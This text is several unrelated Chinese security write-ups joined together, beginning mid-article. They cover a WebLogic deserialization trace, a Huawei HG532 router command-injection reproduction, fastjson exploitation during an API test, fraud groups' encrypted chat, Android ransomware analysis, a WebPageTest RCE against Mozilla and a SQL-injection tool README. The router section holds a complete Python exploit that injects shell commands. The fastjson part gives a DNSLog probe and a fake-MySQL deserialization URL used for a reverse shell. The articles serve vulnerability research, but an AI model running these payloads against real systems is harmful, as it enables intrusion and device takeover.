可以看到，此处的expectedContentTypes只有text/xml，
isContentTypeSupported()主要是一个比较、检查的功能，不需要多关注，
步出，继续执行StreamSOAPCodec.decode()，又有字符集的检查，
大概意思就是，如果类型和字符集的检查没什么问题，就要赋值了，
这一步执行之前，
packet如下，
in的buf字段如下，
执行完这一步后，
message已被赋值，
步出到HttpAdapter.decodePacket()，
到此我们看到，即将退出HttpAdapter.decodePacket()，packet已经构造好。
这一部分的调用栈如下，
decode:315, StreamSOAPCodec (com.sun.xml.ws.encoding)
decode:151, StreamSOAPCodec (com.sun.xml.ws.encoding)
decode:290, SOAPBindingCodec (com.sun.xml.ws.encoding)
decodePacket:294, HttpAdapter (com.sun.xml.ws.transport.http)
access$500:102, HttpAdapter (com.sun.xml.ws.transport.http)
handle:519, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
我们现在正处于HttpAdapter$HttpToolkit.handle()内，HttpAdapter$HttpToolkit.handle()的前半部分（主要是packet
= HttpAdapter.this.decodePacket(con, this.codec);一句）完成了数据包的解析，并将其转化成对应的Java对象。
**(2)Process到receive**
继续看HttpAdapter$HttpToolkit.handle()，
此时packet已经赋值完毕，我们的数据包被解析成了Java的对象，
可以看到，我们的payload已经在其中了，
向下走，我们会走到 this.head.process这里，
顾名思义，此处应该是对packet进行处理，这里可能会对我们的数据包（或曰此处的对象）产生影响，使之不能顺利的抵达readObject()，我们跟进查看，
其中先是一些赋值操作，我认为对我们最后的结果没有实质的影响，因为从上面可以看到，我们的payload存于message.reader.closeableSource.delegate.in.buf字段，最后解析来getshell时主要也是靠的这个字段。以此观之，这一段代码并没有什么影响。
接下来走到fiber.runSync()这里，
下面就要return response了，这里有必要跟进去看下，
此处的this是个Fiber对象，
经过赋值，this.packet变成了我们的数据包，
接下来可以关注this.packet，
我们看这个函数的下半段，
我们看到，这里直接将var7赋值为this.packet，然后再无处理，直到var7被return 成为response，
所以，我们应该跟入this.doRun()，其内部可能有对packet的处理，影响var7，进而影响返回值。
接下来，需要跟入this._doRun()，
前面的几个if-else嵌套没有实际的作用，都会跳出，
最终到达这里，
此时各变量的情况如下，
结合前面的调用栈来看，WorkContextServerTube.processRequest()才是触发漏洞的一环，而非此处的WseeServerTube，
重复走几轮循环，直到this.next为我们想要的对象，
步入processRequest()，可以看到这里主要还是提取出一些值来，
接下来会进入readHeaderOld()，
跟进，
可以看到，var4作为一个ByteArray，存储了payload对应的字符串，接下来var6将一var4为参数构建一个WorkContextXmlInputAdapter，再往后就是this.receive(var6)，根据调用栈的提示，我们应该跟进之。
**(3)receive到readObject**
前面的调试过程中应该来讲没有对我们传给this.receive()的var6（携带的payload）产生实质影响，从调用栈我们可以明确从receive到最后的readObject主要经历的有哪些函数，下面我们可以着重观察这几步流程，
关注的重点有二：一是传入readObject的参数为何物，二是这部分流程有没有对这个参数做处理（主要为检查、过滤）。
先进入WorkContextServerTube.receive()，
没有过滤，继续跟进，
看不出什么，继续跟进WorkContextLocalMap.receiveRequest()，
若有处理，也只能在WorkContextEntryImpl.readEntry()中，于是跟进之，
跟进WorkContextXmlInputAdapter.readUTF()，
可以看到，这里直接调用了this.xmlDecoder.readObject()，到此也没有做任何过滤，漏洞由此产生。
## 三、收获与启示
这个漏洞看起来有些复杂，但其实原理较为直接，与之类似的漏洞也有一些。个人感觉，XML的漏洞和WebLogic的反序列化漏洞都有着思路上的共同点：先找到一个可以触发RCE的点，然后不停的尝试，从我们的输入点能否达到它。实现这个思路的具体方法会有差异，这就是这其中每个漏洞的特点了。 | 社区文章 |
# CVE-2017-17215
## 0x00 漏洞描述
CheckPoint报告华为HG532产品存在远程命令执行漏洞，华为HG532
系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品，如下是京东搜索的结果。
* 远程命令执行漏洞，没有对代码中可执行的特殊函数入口做过滤，导致客户端可以提交恶意构造的语句提交，让服务器端执行。例如web服务器中的system、eval、exec等函数
例如一个PHP作为后端的漏洞实例
<?php
$log_string =$_GET['log'];
system($log_string)
?>
发送请求<http://127.0.0.1:8080/?log=ls就可以执行ls命令>
## 0x01 解压固件
现将固件解压，[固件下载地址](https://ia801309.us.archive.org/15/items/RouterHG532e/router%20HG532e.rar)，先解压出来rar文件，然后使用`binwalk`解压固件，得到文件系统。
binwakl -Me HG532eV100R001C01B020_upgrade_packet.bin
解压出来的文件内容如下
此处的`squashfs-root`文件夹需要在后面上传到`qemu`虚拟机中
## 0x02 搭建虚拟机
下载qemu
sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static
下载qemu启动虚拟机所需要的“镜像”，这个地方的镜像是和之前的固件版本要匹配，MIPS，32位，大端
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
创建虚拟网桥，实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
创建tap接口，名字为tap0，并添加到网桥
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
使用命令启动虚拟机
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
在启动的虚拟机里面添加一个IP，并尝试ping外界
ifconfig eth0 192.168.153.2/24 up
将之前解压出来的`squashfs-root`文件夹通过`scp`命令，复制到虚拟机中
scp -r squashfs-root/ [email protected]:~/
在虚拟机中挂载dev和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
启动shell
chroot squashfs-root sh
这个终端是用来后面改IP地址的，这个时候在Ubuntu里面再单独开一个终端，使用ssh连接上去
通过ssh启动的终端，启动路由器
ssh [email protected]
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
这个通过ssh连接的终端实际上已经无法使用了，因为虚拟机里面的路由器IP发生了变化，ssh连接已经断开，返回之前的虚拟机中的终端。
需要重新更改路由器的IP，以便于外部的Ubuntu登录管理界面
ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up
这个时候在Ubuntu上使用浏览器访问路由器eth0的IP地址，就可以登录进入管理界面，默认的账号密码是：`admin`，`@Hua1234`
## 0x03 漏洞复现
使用poc进行命令注入
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
在第9行代码处注入代码，例如在上面的POC里面改成了创建一个名为hell的文件夹
## 0x04 漏洞原理分析
从POC中分析，注入点是在`<NewStatusURL>`。由于我日常使用的是IDA7.1，不能反编译MIPS架构，网上有说可以使用`retdec`的，去官网看了一下指南，不支持IDA7.1。于是决定用`Ghidra`来进行分析。
载入二进制文件后，尝试搜索字符串`NewStatusURL`，运气不错，只有一处匹配。
进入查看，关键的system函数就在此处，而其上就是一个snprintf函数格式化字符串。
int FUN_0040749c(int param_1)
{
int iVar1;
char *local_418;
char *local_414;
char acStack1040 [1028];
iVar1 = ATP_XML_GetChildNodeByName
(*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);
if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&
(iVar1 = ATP_XML_GetChildNodeByName
(*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)
) {
if (local_414 != (char *)0x0) {
snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
local_418,local_414);
system(acStack1040);
}
}
return iVar1;
}
大胆猜测：
`local_418`是`ATP_XML_GetChildNodeByName`函数获取xml中的`NewDownloadURL`节点内容
`local_414`是`ATP_XML_GetChildNodeByName`函数获取xml中的`NewStatusURL`节点内容
然后使用`snprintf`函数拼接命令到`acStack1040`字符串，到`system`函数执行
因此，两个节点`NewDownloadURL`和`NewStatusURL`都是可以进行命令注入的，控制让两个节点内容把拼接的命令分割就可以了，比如使用分号分割，在原来的POC基础上进行简单验证
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir hell;</NewStatusURL>
<NewDownloadURL>;mkdir hello;</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)
两个注入点里面分别创建不同名的文件夹，执行前后虚拟机文件变化如下
通过网上搜集可以得知，upnp支持“DeviceUpgrade”服务，通过向"/ctrlt/DeviceUpgrade_1"发送请求来执行固件升级操作，并且通过"NewStatusURL"和"NewDownloadURL"两个元素来执行。
## 0x05 进一步思考
1. 这是一个命令注入漏洞，验证完毕后，在开始思考，是否可以改造成一个反弹shell回来
查看固件自身的命令，常见的可以用来反弹shell的例如nc、python等都没有瞅见（PS：如果有，请师傅务必告诉我！），不过应该可以针对目标环境，交叉编译一个client和sever分别放在路由器上和攻击机上。
2. 在实际的硬件路由器上，是怎么执行这个固件的，流程是什么，这是接下来继续复现相关漏洞需要继续思考的问题。
3. 也是很费解的一个问题，这个漏洞是怎么被挖出来的，如果我要去挖掘这个漏洞，该怎么样去执行一套流程？
## 参考链接
<https://xz.aliyun.com/t/4819>
<https://xz.aliyun.com/t/4130#toc-5>
<https://f01965.com/2020/07/25/CVE-2017-17215/> | 社区文章 |
Author: lz520520@深蓝攻防实验室
# 0x00 前言
之前接到一个接口测试项目，就提供了一个demo源码和接口设计文档，文档里一共有15个接口。
本来以为接口测试，只要把参数拼接上去测测就ok了（数据是json格式），但看到设计文档里说数据又得做签名又得做加密，这样测试就变得繁琐了，扫描器也扫不了。
没加密发送，返回会显示解密失败。
其实是有几种解决方案的，写一个代理服务器，经过的时候做数据加密处理啥的，另一个就是写个burp插件，做请求前的数据自动加密，这个其实用过chunked编码插件的就很容易理解。
在这里我打算选择后者，其实burp本身就是一个代理服务器，所以代理部分就不需要我们操心了，我们只需要解决数据处理部分。
# 0x01 fastjson利用
在干之前还是得先看看demo源码有啥，因为还不清楚具体的签名和加密的细节。
目标系统是基于java开发的，demo当然也是java了，项目是用mvn管理的，IDEA自带mvn，就重新编译打包一下，运行jar包运行的是一个spingboot应用，但demo里并没有提供接口，所以其实没啥用。
所以就翻翻其他文件，首先要看的就是pom.xml看下有哪些依赖包，提交的数据都是json的，其实也猜到一些，这里可以看到fastjson1.2.58，一个存在漏洞的版本，而目标如果一样的话，那就可以先获取高危一枚。
虽然还没搞定加解密，先提交poc 尝试
{"@type":"java.net.Inet4Address","val":"123.3l6h3t.dnslog.cn"}
目标成功解析
然后上mysql connector payload。
github有一个项目也一键搭建一个faker mysql
<https://github.com/fnmsd/MySQL_Fake_Server>
让目标发送如下，会返回一个执行的序列化对象，从而让目标反序列化执行，构造的参数放在user字段。
mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
效果如下，解析客户端发送的user字段，这里调用cc10执行bash反弹。
# 0x02 burp插件设计
回头再看看其他源码，有个XXXCashTest.java，是用于客户端提交数据测试的，随便找到一个方法，commonApplyDto是接口参数的类，通过fastjson序列化成字符串，将字符串使用AES加密，作为data的参数值，使用RSA私钥签名作为sign的参数值，然后再提交。他这里是loadPemKey读取本地私钥文件。
知道他怎么处理的插件就好些了，关于插件编写和调试流程我之前有写过一篇文章简单介绍了下，也可以参考先知上的一篇文章<https://xz.aliyun.com/t/7065>
chunked编码插件可实现手动编码和自动编码功能，就以他为模板改，先从github下载源码
<https://github.com/c0ny1/chunked-coding-converter>
根据原始菜单功能，找到encoding的动作事件
里面会调用Transfer.encoding对请求数据处理
这和burp代理事件调用的是同个方法，这样就可以一次性将手动和自动加密都搞定了。
把demo的相关类放到插件项目里，然后调整如下，为了方便插件使用，我新增一个getPemKey()方法，将私钥写死，方便使用，然后生成新的body，需要注意的是参数值得手动做URL编码。
最后有个头部的iter迭代搜索，如果匹配到content-type，那么就统一修改成x-www-form，
这个是为啥呢，是这样，因为要测试的接口较多，而且参数也比较多，我想使用xray来扫描，那么就得将原始数据包先经过xray，xray做解析，然后再发给burp做加密，最终发送。
流程图大致如下
但有个问题，因为设计文档里说明提交使用application/x-www-form-urlencoded，所以在burpsuite1构造json数据提交给xray的时候，xray如果识别到是application/x-www-form-urlencoded，他不会当做json数据处理，只会当成普通表单数据，而json数据里没有等号，所以会把整个json当成key做URL编码，然后将payload作为value填充，大概如下，这种server肯定没法正常处理，正常来说应该对json里的参数值做fuzz的。
（这里Content-Type忽略，测试的时候手动改过）
而只有当Content-Type:
application/json时，才会正常解析，但这样提交到server就不能做正常处理，server端只认application/x-www-form-urlencoded，所以才在插件里做了这么一个转换。最终如下
至此burp插件写完了，编译打包，然后在burpsuite2（其实是找了一台单独的server运行）加载
自动编码配置，右键菜单，勾选proxy即可。
xray构造的数据包
自动加密后的
到此接口测试准备就绪，后续就是常规的web渗透阶段，愉快的在burpsuite1里构造测试数据包，并联动xray进行自动化测试。
# 0x03 总结
1. fastjson的利用，poc通过dnslog来快速验证，fake mysql server的使用。
2. 接口加密自动化burp插件的编写。
3. burp1-xray-burp2联动来实现手动+自动化测试。
4. Content-type字段的问题，xray解析json数据需要为application/json，而server需要为application/x-www-form-urlencoded
| 社区文章 |
# 走进黑灰产！揭秘诈骗团伙内部之间是如何联系的
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
黑灰产的攻防策略不是一层不变的，会随着网络技术及网络安全的技术不断发展而演变。一方面提升欺诈环境的仿真度，防止被用户识别；一方面借助攻防策略的升级来躲避网络安全、社交软件等产品对欺诈样本的识别。近期，通过多个渠道了解到，诈骗团伙为躲避监管，逐渐使用端到端加密聊天通进行内部沟通、资源买卖或用于实施诈骗。
**黑灰产为躲避监管而使用的聊天工具**
**诈骗分子如何与用户进行联系呢？**
之前，我们从拦截的短信样本中监测到，出现不法分子利用第三方客服平台，冒充二手交易平台进行诈骗的现象，施诈流程如下：
**诈骗分子团伙内部之间如何联系呢？**
通过长期对黑灰产业的研究发现，加密聊天软件被利用并逐渐成为诈骗分子内部交流和资源买卖的工具。经过对这类加密聊天软件的分析，我们找到了以下特性：
**加密聊天软件的注册**
使用手机号注册后，可免费使用聊天等基础功能服务。附加功能则要收取一定金额的功能费，即可解锁隐藏账户ID、隐藏网络信息、好友上限数量、群人数等服务。
**软件主打功能**
**1.端到端加密，信息更安全**
所有消息都经过端到端加密，任何聊天记录不进行云端存储，让你的信息比你想象中更安全。
**2.双向撤回，难以取证**
聊天记录一键双向撤回，同时删除你和对方设备上的所有聊天记录，撤回数据多次覆盖删除，不可恢复。
**3.匿名群聊，身份保护**
开启匿名群聊，群里面的每一个成员都可以“变身”，隐藏真实身份。群内不受身份约束平等的表达自己的观点和想法。
如此看来，简直就是为黑灰产“量身定制”的聊天工具！
**附属功能**
存在朋友圈和漂流瓶等功能，可查看附近人，有一定的社交属性。
**加密聊天软件的应用**
近期，我们发现的基于“微信明雷”基础上的诈骗手法衍生出了新变种——“微信暗雷“，即利用直播软件或付费视频为幌子，引导用户点击付费界面，但实际支付的费用与界面显示支付的费用不相同。诈骗分子在一些专门从事黑灰产源码售卖的平台进行资源售卖时，也使用到了此类加密聊天软件平台，如下图：
从诈骗团伙转而利用含有备案信息的域名、加密聊天软件等手段来躲避安全系统的识别和监管的行为可以看出，黑灰产在技术、话术、为躲避识别和监管也在不断的升级诈骗手法。同时，随着黑灰产行业成长的“集团”化，人员分工的“链接”化，攻防对抗将是安全行业与黑灰产“企业”不断厮杀成长的一场持久战。 | 社区文章 |
# 【技术分享】Android锁屏勒索APK分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**一、前言
**
5月12日，一场全球性互联网灾难悄然而至，一款名为WannaCRY的PC端恶意勒索软件利用NSA泄漏的危险漏洞“永恒之蓝”，给100多个国家和地区10万台电脑造成了巨大的损失。到2017年为止，全球手机用户总量已经突破50亿，而作为占比超过50%的android系统中，同样有许许多多类似WannaCRY的勒索软件正在危害我们的财产安全。
接下来，以一款主流的Android端恶意锁屏勒索应用为例，使用厦门安胜网络科技有限公司自主研发的宙斯眼安全检测系统进行自动分析，结合人工分析的方式，深入剖析勒索应用的恶意行为。知己知彼，才能更好的防患于未来。
**二、运行特征**
这是一款伪装成”秒赞大师”的锁屏勒索恶意应用
第一次点击启动之后，主界面会弹出诱骗激活设备管理员权限的对话框
当你点击激活后，恭喜你，你的屏幕将被锁定，无法进入手机的主界面，除非联系勒索者获得解密密码
那么，接下来我们一起来分析下这款勒索软件的实现原理，并且破解出它的解锁密码
**三、准备工作**
1\. 分析工具：JEB/Android killer
JEB是一款收费的Android应用程序反编译工具，解析能力强，兼容性高。
Android Killer是一款免费的android应用程序反编译工具，集Apk反编译、Apk打包、Apk签名，编码互转，ADB通信等特色功能于一身。
可根据个人的习惯选择工具，这里将使用jeb进行分析
2\. 分析环境：android模拟器
主要用于恶意应用的运行时分析，可使用android原生的模拟器，也可使用第三方如genymotion、天天模拟器等
**四、流程分析**
应用整体运行流程图如下
接下来，我们对整个流程进行详细的分析
1\. 入口点
首先，我们使用jeb打开要分析的apk
其中左边为该应用反编译出来的类列表，右边为AndroidManifest.xml清单文件的内容
我们可以发现，应用的入口类为com.bugzapk.b，接下来我们分析下b类的执行逻辑，b类对应的界面如下，该界面只有一个按钮
我们找到这个按钮的点击事件
发现点击之后跳转到com.bugzapk.z类中
2\. root权限
我们继续分析com.bugzapk.z类，首先分析入口函数onCreate
在入口处做了一些界面相关的初始化工作，重点在于这个100000000线程
我们可以看到，该应用首先会尝试将system分区mount为可写状态，再将应用挪入固件中，并且重启手机。如果你的手机有root过，并且给予了root权限，你将无法再通过普通的方式来卸载这个应用，就连刷机都无法清除。
当获取root权限失败后，将会诱导你激活设备管理员权限。
当你点击确定后，会跳转到com.bugzapk.c界面
3\. 访问网络获取PIN码
分析com.bugzapk.c类的入口函数oncreate
启动后，首先会运行100000000这个线程
这个线程会先解密字符串得到一个链接，并调用get方法访问网络获得一个字符串，接下来我们分析下加密的算法，这里进行了三层解密：decrypt->解密->decoder
这个decrypt函数首先将16进制字符串转换成字节，再将字节进行AES解密
解密函数中有一个简单的字典，进行字符串替换。
decoder函数会对字节进行异或，得到最终的url。
根据这三个函数，我们可编写对应的解密算法解出url的值。
接下来我们打开浏览器访问这个url
我们发现返回了一大段的字符串，
最终，程序会调用正则表达式函数，并进行解密，我们调用对应的解密算法，可计算出pin值为7531
4\. 激活设备管理员并且设置PIN码
com.bugzapk.c界面只有一个激活按钮
点击后会调用系统的api申请设备管理员权限，并且调用resetPassword函数将PIN码修改为上一步获取的值7531
Android中的设备管理员权限可以对手机进行锁屏，防止应用被卸载等
获取权限后，会调用锁屏函数，将屏幕锁定
并且跳转到com.bugzapk.g页面
5\. 上传手机型号/钓鱼页面
com.bugzapk.g界面启动后会自动上传手机型号
并且弹出钓鱼页面诱导你输入QQ账号密码
当你输入完点击登陆后，跳转到com.bugzapk.h页面
6\. 锁屏主页面
终于进入我们最重要的密码输入界面com.bugzapk.h了，首先分析密钥获取逻辑
其中c为要访问的域名，get函数访问域名。通过解密算法可得到url为
打开浏览器，访问页面返回如下字符串
获得数值后，使用正则表达式提取出37598这个密码
并且赋给pass这个成员变量，如果网络无法访问的情况下，将会使用本地的密钥
通过执行对应的解密算法，可解得本地密码值为8810
接下来我们来分析解锁函数js的逻辑
如果输入的密码值为654321，则将PIN码更改为654312
如果输入的密码值为4321，则将PIN码修改为4312
如果输入的密码值为上面分析出来的密码值，将会跳转到com.bugzapk.i界面
7\. 锁屏主页面2
锁屏主页面1的密码正确后，将会进入第二个页面com.bugzapk.i
我们直接查看点击确定按钮后的解锁逻辑
输入4951密码后，页面会跳转会上一个界面
输入997998后，界面的文字会做一些改变
正确的密码值为l.x(v17,v9)这个解密函数，我们执行对应的解密函数得到正确的密码为2415
密码输入正确后，跳转到最后的PIN码界面
8\. PIN码界面
com.bugzapk.d界面直接显示系统的PIN码输入页面，输入之前计算得到的PIN码即可解锁成功，进入手机，至此整体流程结束
**五、修复方法参考**
如果你的手机也被这种勒索病毒锁屏了该怎么办呢，你可以尝试以下几种方法：
1\. 如果你有基本的android开发经验和逆向知识，你可以尝试直接分析勒索软件的解密算法得到正确的密码，一般这种软件的逻辑和算法都不会太复杂
2\. 如果你的手机开启了USB调试模式，可以进入adb
shell环境，并且拥有root权限，你可以尝试使用命令直接删除密码文件，删除后重启即可直接进入手机界面
adb shell rm /data/system/access_control.key
adb shell rm /data/system/password.key
adb shell rm /data/system/gesture.key
3\.
如果手机有刷过第三方的recovery，你可以重启进入recovery模式，直接将该软件删除，或者执行第2步的命令删除密码。如果手机上的数据不重要的话，可以直接执行双wipe清除手机上的所有数据（勒索软件在固件将无效）。
4\. 刷机，刷入新的系统。
5\. 联系勒索者得到密码
注意：以上方法仅供参考，其中2/3/4方法有可能造成手机重要数据丢失、系统无法正常使用，请慎重操作。
现在市面上流传的移动设备勒索病毒种类繁多，其中许多病毒制作较为简单，解锁密码都是直接明文写在字符串中。你可以尝试使用宙斯眼对病毒进行分析，从生成的分析报告中可以得到许多有效的信息，甚至直接获取到解锁密码。
“宙斯眼”是一款专业的移动终端安全检测设备，采用公司自主研发的分析引擎，通过对APP反编译静态代码行为分析及动态行为分析，并匹配海量的特征库，实现快速对APP的安全进行检测，定位恶意APP并生成专业的检测报告。
**六、建议**
最后，在给大家以下几点建议：
1\. 不要从非官方的渠道下载应用，防止应用被人为修改，加入了恶意代码
2\. 对于别人发过来的apk下载链接，要慎重点击下载
3\. 不要贪小便宜，去安装那些抢红包/游戏辅助之类的插件，大部分都是木马病毒
4\. 对于新安装的应用，如果有弹出申请设备管理员权限或者root权限的对话框，请一律点击拒绝，除非你确定这个应用没有问题
5\. 没有必要的情况下，请不要root你的手机 | 社区文章 |
文章来源：<https://blog.assetnote.io/bug-bounty/2019/03/19/rce-on-mozilla-zero-day-webpagetest/>
* * *
### 前言
当你在渗透测试过程中使用Assetnote Continuous Security（CS，安全服务产品）时，该服务会识别部署在实例（比如AWS,
GoogleCloud等）上的[WebPageTest](https://github.com/WPO-Foundation/webpagetest)。WebPageTest是一款网站（前端）性能分析工具，使用该工具你可以测试给定URL或主机的性能状况。
用户可以通过修改WebPageTest的[setting.ini](https://github.com/WPO-Foundation/webpagetest/blob/master/www/settings/settings.ini.sample#L155)文件来实现基本的安全认证，同时这可以杜绝匿名访问。但是Assetnote
CS发现大部分的WebPageTest服务都没有开启认证机制。WebPageTest提供了一些网站测试的工具，利用这些工具攻击者可以发起服务端请求伪造攻击（简称为SSRF，WebPageTest上有些特性导致该漏洞）来获取内部资源的权限。
在2017年11月，Assetnote CS发现了Mozilla位于AWS环境下的两个子域名：
* wpt-vpn.stage.mozaws.net
* wpt1.dev.mozaws.net
这两个都是处于实例中WebPageTest服务，并且没有认证机制。说实话，这是Assetnote
CS第一次发现该服务还获得了赏金的。随后我与[Mathias](https://twitter.com/avlidienbrunn)进行合作审计源代码，几个小时后我们就创建一个可以导致远程代码执行的攻击链条。
本次发现的漏洞是一个0day，那时我们与Mozilla和WebPageTest团队通力合作，成功修复该漏洞。提交该漏洞后，WebPageTest团队在2018年1月17日发布更新程序。
### 漏洞挖掘
我们发现的第一个有趣的事是可以上传和解压任意Zip文件，漏洞通过`/www/work/workdone.php`得已实现。这个脚本通过某些逻辑限制用户只能通过127.0.0.1来实施操作，部分相关代码如下：
...
!strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1")
...
我们稍后再讨论此处的问题。
还是在这个文件，我们发现了另一个潜在的风险向量。在上传任意的Zip文件后，文件将被解压到一个确定的位置：
**/www/work/workdone.php** 中133 - 136行：
if (isset($_FILES['file']['tmp_name'])) {
ExtractZipFile($_FILES['file']['tmp_name'], $testPath);
CompressTextFiles($testPath);
}
如果我们把IP伪造成127.0.0.1，那么我们利用此风险点似乎就可以获取代码执行权限。
然而事情并非是我们想象地那么简单，由于 **/www/work/workdone.php** 中321行处代码：
SecureDir($testPath);
跟进`SecureDir`函数到 **/www/common_lib.inc** 中的2322 - 2347行处：
/**
* Make sure there are no risky files in the given directory and make everything no-execute
*
* @param mixed $path
*/
function SecureDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
SecureDir($filepath);
}
}
}
因为在代码运行流程中，`SecureDir`函数表现出一些延迟。这有可能导致一个可利用的竞争条件（漏洞），因为当PHP文件被解压到web服务器时不会立马被删除，所以用户有短暂的访问权限。
攻击链的第一个预设条件非常简单，访问`wpt-vpn.stage.mozaws.net`的WebPageTest页面，对`https://google.com`进行Traceroute（跟踪路由）操作，此时我们获取了一个有效的测试ID：
在运行完traceroute后，WebPageTest 将我们重定向到另一个页面，该页面的URL包含测试ID：
* <http://wpt-vpn.stage.mozaws.net/result/171124_GW_9/>
但现在我们仍然需要某些方法来伪装成`127.0.0.1`，从而利用该脚本的漏洞函数。
利用以下的代码逻辑，我们可以实现伪装， **/www/common.inc** 的70行处：
if (isset($_SERVER["HTTP_FASTLY_CLIENT_IP"]))
$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_FASTLY_CLIENT_IP"];
通过发送`FASTLY-CLIENT-IP`为`127.0.0.1`的请求头，我们可以远程设置`$_SERVER["REMOTE_ADDR"]`为任意内容。
### 组合攻击
综合上述的几个漏洞元素，我们能够通过两个Burp Intruder （入侵者）攻击，最终获取远程代码执行。
对于第一个Burp入侵者攻击，它用来上传含有恶意内容的Zip文件，另一个则是尝试与解压到系统中的PHP文件链接。我们的思路是将Burp
Intruder（发包）线程提升到200以上，从而利用竞争条件漏洞。
其实我们可以使用请求效率更高的一些工具，比如说[Turbo Intruder](https://portswigger.net/blog/turbo-intruder-embracing-the-billion-request-attack)，这可能更容易实现攻击。
最终我们能够获取Mozilla的远程代码执行权限，见下图：
在我们报告此漏洞后，Bugzilla官方也发布了相关[漏洞的公告](https://bugzilla.mozilla.org/show_bug.cgi?id=1420520)。该公告包含具体的复现步骤，这对想要重现该漏洞的笔试者应该有所帮助。
该漏洞属于Mozilla漏洞悬赏项目，我们被奖励了500美金。 | 社区文章 |
项目地址：https://github.com/LoRexxar/Feigong
作者：[LoRexxar](http://lorexxar.cn/)
## 非攻
取自《秦时明月》--非攻，针对不同情况自由变化的武器
Feigong，针对各种情况自由变化的mysql注入脚本
Feigong，In view of the different things freely change the mysql injection
script
## 什么是非攻？
在sqlmap的使用过程中，常常碰到很普通的绕过过滤方式，例如空格-->%0b、%0a，但是却没办法使用sqlmap来获取数据的情况，于是花了很长时间来完善脚本，让非攻可以通过修改config.py一个文件中的设置，让非攻在面对不同情况时成为了灵活多变的注入脚本...
非攻目前集成了对mysql的normal、build、time，3种注入方式...
### 在使用非攻之前
1、首先你需要找到一个注入点（在考虑写一个这样的工具）
2、判断数据库为mysql
3、通过巧妙地过滤可以获取数据
4、开始使用非攻
## 使用文档
Feigong
│ .gitignore
│ feigong.py
│ README.md
│
├─demo
│ ├─demo1
│ │ advanced_config.py
│ │ config.py
│ │
│ └─demo2
│ advanced_config.py
│ config.py
│
├─lib
│ Conpayload.py
│ data.py
│ dealpayload.py
│ log.py
│ unpack.py
│ __init__.py
│
├─log
│
└─sqlier
│ advanced_config.py
│ config.py
│ __init__.py
│
├─configuration
│ buildconfig.py
│ __init__.py
│
├─default
│ advanced_config_default.py
│ config_default.py
│ __init__.py
│
├─tamper
│ expand.py
│ __init__.py
│
└─techniques
columns.py
content.py
database.py
tables.py
test.py
__init__.py
